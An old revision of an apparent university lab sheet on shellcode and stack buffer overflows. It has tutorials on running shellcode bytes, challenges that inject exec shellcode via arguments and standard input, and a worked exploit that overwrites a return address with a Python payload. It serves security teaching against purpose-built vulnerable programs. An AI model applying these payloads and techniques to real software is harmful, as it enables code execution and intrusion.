This is an old revision of the document!
Table of Contents
0x08. Shellcodes (advanced)
Resources
Reminder: Shellcode
A shellcode is a little piece of binary data that is meant to be executed by a process as part of an attack vector. An attacker would usually place a shellcode in the process memory and aim to execute it to trigger an advantageous effect for the attacker.
While a shellcode would typically result in the attacker gaining a shell process by the means the of the execve system call, this needn't always be the case. Some shellcodes may result in writing data to a socket, scanning the memory, opening/creating a file and many others.
A shellcode is typically written in assembly language and then compiled into binary object code and fed to the vulnerable program. There are three actions an attacker must undertake to run a shellcode in a vulnerable program:
- Write the shellcode: typically done in assembly and then convert it in binary object code.
- Inject the shellcode into the memory address space of the vulnerable process. This is fed through some form of input to the process (standard input, program arguments, sockets, I/O, environment variables etc.).
- Trigger the running of the shellcode by jumping to the shellcode address, usually done through a buffer overflow.
1. Tutorial: Shellcode Running
Go to 01-tutorial-shellcode/
in the activities archive.
shellcode.S
is a simple shellcode doing an exit(42)
. You can build it in shellcode.bin
and print it by running
$ make print \xbb\x2a\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80
The shellcode is already part of vuln.c
, compiled into the vuln
executable, in the shellcode
global variable. It's run by forcing the shellcode
variable and by casting it to a function pointer and calling it:
void (*func_ptr)(void) = (void (*)(void)) shellcode; func_ptr();
This is possible due to making the data section executable when linking the vuln
executable with the -zexecstack
option, as shown in the Makefile
.
You can check it works properly by running it and checking the return code:
$ ./vuln Nice function at 0x8048510 $ echo $? 42
You can also check that by running the vuln
program under strace
:
$ strace ./vuln execve("./vuln", ["./vuln"], [/* 27 vars */]) = 0 strace: [ Process PID=11063 runs in 32 bit mode. ] [...] write(1, "Nice function at 0x8048510\n", 27Nice function at 0x8048510 ) = 27 exit(42) = ? +++ exited with 42 +++
2. Challenge: exec Shellcode
Go to 02-challenge-shellcode-exec/
in the activities archive.
Find a proper shellcode in the shellcode repository (or generate one under GDB PEDA using the shellcode
command) and update the shellcode
variable in the vuln.c
file, build it into the vuln
executable using make
and check it works properly. Run it by itself and then run it under strace
.
3. Challenge: exec Shellcode (x86_64)
Go to 03-challenge-shellcode-exec-x64/
in the activities archive.
Find a proper shellcode in the shellcode repository for Linux and the x86_64
architecture (or generate one under GDB PEDA using the shellcode
command) and update the shellcode
variable in the vuln.c
file, build it into the vuln
executable using make
and check it works properly. Run it by itself and then run it under strace
.
4. Challenge: Shellcode as Argument
Go to 02-challenge-shellcode-argv/
in the activities archive.
Feed the vuln
executable a proper x86_64
shellcode as a program argument. Make sure it works by running it by itself and then run it under strace
.
5. Challenge: Shellcode at Standard Input
Go to 05-challenge-shellcode-stdin/
in the activities archive.
Feed the vuln
executable a proper x86_64
shellcode as a program at standard input. Use the “keep stdin working” construct such as below:
cat <(python -c 'print "TODO"') - | ./vuln
6. Tutorial: Buffer Overflow
Go to 06-tutorial-buffer-overflow/
in the activities archive.
The vuln.c
file shows a pretty clear buffer overflow:
char input[64]; fgets(input, 256, stdin);
We want to call the function win()
. As shown in session 06: Buffer Management we do the following steps:
- Find the address of the
win()
function. - Determine the offset from the start of the buffer to the place storing the function return address.
- Create a payload that overwrites the return address with the address of the win function.
We find the address of the win()
function by using nm
:
$ nm vuln | grep win 00000000004005b7 t win
We determine the offset from the start of the buffer to the place storing the function return address by using GDB PEDA doing the following steps:
- Run the program under GDB with
gdb ./vuln
. - Create a cyclic pattern using
pattc
. - Run the program using
run
. - Feed the cyclic pattern to it (copy-paste).
- Extract the substring value from
RBP
(we can't do it forRIP
on x86_64). - Get the offset from the start of the buffer to the saved RBP using
patto
. - Add 8 to the offset (the size of saved RBP) to determine the offset from the start of the buffer to the place storing the function return address.
We create the payload by using Python:
python -c 'print "A"*88 + "\xb7\x05\x40\x00\x00\x00\x00\x00"'
where:
88
is the computed offset\xb7\x05\x40\x00\x00\x00\x00\x00
is the little endian x86_64 bit address of thewin()
function
We exploit the program by feeding the input to the vuln
executable by running
python -c 'print "A"*88 + "\xb7\x05\x40\x00\x00\x00\x00\x00"' | ../src/vuln
The exploit script is in sol/exploit.sh
. You can run it:
$ ./exploit.sh Have a number: 50 Hello! Gimme input: Glad to meet you! Congrats! ./exploit.sh: line 3: 11652 Done python -c 'print "A"*88 + "\xb7\x05\x40\x00\x00\x00\x00\x00"' 11653 Segmentation fault | ../src/vuln
The printing of the Congrats!
message above means the exploit succeeded and we were able to call the win()
function.
7. Challenge: Buffer Overflow
Go to 07-challenge-buffer-overflow/
in the activities archive.
Similarly to the tutorial in 06-tutorial-buffer-overflow/
, create a buffer overflow that ends up calling the win()
function and printing the Congrats!
message. You can use the skeleton exploit script in sol/exploit_template.sh
.
8. Challenge: Buffer Overflow
Go to 08-challenge-buffer-overflow/
in the activities archive.
Similarly to the tutorial in 07-tutorial-buffer-overflow/
, create a buffer overflow that ends up calling the win()
function and printing the Congrats!
message. You can use the skeleton exploit script in sol/exploit_template.sh
. This time you don't have acces to the source code, only to the executable.
9. Challenge: Buffer Overflow and Shellcode
Go to 09-challenge-buffer-overflow-shellcode/
in the activities archive.
Exploit the buffer overflow in the input
variable on the stack and feed it a shellcode in the shellcode
global variable and execute the shellcode. You can use the skeleton exploit script in sol/exploit_template.sh
.